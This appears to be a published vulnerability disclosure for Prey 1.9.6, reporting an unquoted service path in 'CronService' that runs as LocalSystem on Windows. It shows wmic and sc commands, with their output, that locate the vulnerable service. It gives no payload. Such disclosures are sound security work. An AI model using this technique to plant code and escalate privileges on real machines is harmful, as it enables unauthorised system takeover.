Prey 1.9.6 – “CronService” Unquoted Service Path
# Exploit Title: Prey 1.9.6 - "CronService" Unquoted Service Path # Discovery by: Ömer Tuygun # Discovery Date:16.10.2020 # Vendor Homepage: https://preyproject.com/ # Software Link: https://preyproject.com/download/ # Tested Version: 1.9.6 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Description: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. C:\Users>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Prey" | findstr /i /v """ Cron Service CronService C:\Program Files (x86)\Prey\wpxsvc.exe Auto C:\Users>sc qc CronService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: CronService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Prey\wpxsvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Cron Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users> |